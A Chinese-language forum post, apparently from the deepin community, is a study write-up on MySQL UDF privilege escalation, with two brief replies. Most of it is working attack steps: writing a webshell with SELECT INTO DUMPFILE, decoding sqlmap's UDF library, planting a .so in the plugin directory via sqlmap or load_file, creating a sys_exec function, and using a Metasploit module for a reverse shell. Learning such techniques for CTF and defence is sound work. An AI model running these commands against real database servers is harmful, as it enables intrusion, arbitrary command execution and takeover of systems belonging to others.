[ Content contribution] mysql UDF提权详解
Tofloor
poster avatar
Neko205
deepin
2024-07-09 14:47
Author

mysql UDF提权

上次做题的时候遇到了各UDF提权没有做出来,遂补习,建立在已经获得基础权限需要提权到mysql的情况下

权限获取

简单罗列一些,这次主要研究UDF提权的手段。

1.sqlmap -os-shell

2.手工dumpfile

3.NDAY

webshell

  • 知道网站根目录
  • 有mysqlroot权限
  • secure_file_priv 为空,无限制

secure_file_priv可以通过 show global variables like '%secure_file_priv%';来查询,NULL不允许写入

+------------------+-----------------------+
| Variable_name    | Value                 |
+------------------+-----------------------+
| secure_file_priv | 					   |
+------------------+-----------------------+
SELECT '' INTO DUMPFILE '/www/wwwroot/192.168.56.102_8083/phpinfo.php';

手动UDF

UDF(User Defined Function)顾名思义用户自定义函数,一般形式是用c语言编写的动态链接库,windows为dll,linux为so,所以不准确的说UDF是一种C代码执行

UDF提权除了需要以上写shell的权限还需要mysql的plugin文件夹有写入权限,才能完成

获得动态链接库文件

我知道的比较方便获得动态链接库的方式有三种

  1. Exploit-DB
    在Expdb中有适用于windows与linux的.c文件,拿出来编译就好

    image.png

    image.png

    编译方式

  2. sqlmap

    在sqlmap也自带了UDP的EXP文件位于下载位置的 /data/udf只不过其进行过编码,使用自带的 cloak.py 解码即可

    image.png

    cloak.py -d -i /opt/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
    
  3. 能黑掉宇宙的msf肯定也是有的

    image.png

image.png

image.png

寻找plugin目录

show variables like '%plugin%';

一般会返回如下的信息

default_authentication_plugin mysql_native_password
plugin_dir /www/server/mysql/lib/plugin/
replication_optimize_for_static_plugin_config OFF

/www/server/mysql/lib/plugin/这个就是udf目录

UDF写入

sqlamp写入

利用sqlmap写入需要以下条件,POSTsql注入;mysql高权限;secure_file_priv为空,及可以在任意位置输出文件;plugin目录允许写入,一般默认是不允许。

sqlmap -r /home/neko/Desktop/1.txt --file-write="/home/neko/NekoData/temp/udfexp.so" --file-dest="/www/server/mysql/lib/plugin/udf.so"

image.png

image.png

手动查询写入

如果没有注入,有webshell或者其他连接服务器的手段那就可以尝试直接使用查询语句来写入,条件与上面无异,利用方式与写shell差不多

select 0x[十六进制] into dumpfile "/www/server/mysql/lib/plugin/udf.so"

当然直接传输16进制可能会出现问题,之前就遇到过不准确的问题所以也可以在将文件直接传入服务器可操作的目录在传入mysql在传入plugin文件夹

create table test(line blob);
insert into foo values(load_file('/www/wwwroot/192.168.56.102_8083/udfexp.so'));
select * from foo into dumpfile '/www/server/mysql/lib/plugin/udf.so';

利用

在传入so后利用需要创建函数

create function [函数名] returns integer soname 'udf.so';

image.png

函数名的查询可以通过 nm -D udf.so命令获取,这时候使用 sys_exec函数会发现如果成功执行会返回0,如果失败则返回其他数字

image.png

那就可以尝试来做反弹shell了

image.png

UDF工具

MSF

msf属于经典中的经典,使用的是 exploit/multi/mysql/mysql_udf_payload这个模块,在mysql允许外连和知道的root密码下可以直接生成反弹shell

image.png

可以看到plugin目录下被写入了一个so文件

image.png

而后利用他做了一个反弹

Navicat http隧道

Navicat是一个非常好用的sql工具,他有一个通过http隧道连接的工具,如果我们控制的设备sql能上传文件pl文件夹也有写权限那就可以考虑向他写入一个navicat隧道来连接sql

image.png

界面大致是这样样子

image.png

image.png

根据上面利用就好

  • 参考文档
  • https://github.com/imseyed/navicat_remote_MySQL
  • https://www.cnblogs.com/zjfree/p/13570083.html
  • https://www.swback.cn/644.html
  • https://developer.aliyun.com/article/667096
Reply Favorite View the author
All Replies
jjcui8595
deepin
2024-07-09 14:54
#1

like

Reply View the author
乾豫恒益
deepin
2024-07-10 10:17
#2

学习,收藏了。。。

Reply View the author